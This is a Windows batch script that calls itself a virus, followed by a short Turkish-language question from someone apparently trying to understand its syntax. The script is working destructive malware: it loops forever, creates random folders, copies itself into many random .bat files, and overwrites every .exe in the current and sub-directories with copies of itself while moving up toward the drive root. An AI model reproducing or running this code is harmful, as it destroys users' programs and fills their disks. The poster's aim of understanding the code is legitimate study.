::This virus was created by Jacob gilbert.
@echo off
SetLocal EnableDelayedExpansion
for %%A in ("%CD%") do set ROOTFOLDER=%%~DA\
for /l %%X in (1,0,2) do (
md !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM!
md !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM!
md !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM!
set "RAND=1!RANDOM:~-1!!RANDOM:~-1!"
for /l %%X in (1,1,!RAND!) do (
type %0 > !RANDOM!!RANDOM!!RANDOM!!RANDOM!.bat & type %0 > con )
for %%A in (*.exe) do set "FILE1=%%~DPNXA" & for %%I IN ("!FILE1!") do (
ren "!FILE1!" "%%~NI.txt" & if exist "!FILE1:~0,-4!.txt" copy /y %0 "!FILE1:~0,-4!.txt"
ren "!FILE1:~0,-4!.txt" "%%~NI.bat" )
for /r %%X in (*.exe) do set "FILE2=%%X" & for %%Z IN ("!FILE2!") do (
ren "!FILE2!" "%%~NZ.txt" & if exist "!FILE2:~0,-4!.txt" copy /y %0 "!FILE2:~0,-4!.txt"
ren "!FILE2:~0,-4!.txt" "%%~NZ.bat")
cd..
if "!CD!"=="%ROOTFOLDER%" call :end
)
:end
exit
İnternette bulduğum bir batch kodu bu. Kodu anlamaya çalışıyorum. Anlayamadığım kısımlar şunlar:
1)%%~DA\
neyi temsil ediyor?
2) 1!RANDOM:~-1!!RANDOM:~-1!
ne anlama geliyor?
3) FILE1=%%~DPNXA
???
4) Ünlem işaretinin özel bir işlevi var mı?,
5) “~” simgesinin batch içinde ki anlamı nedir?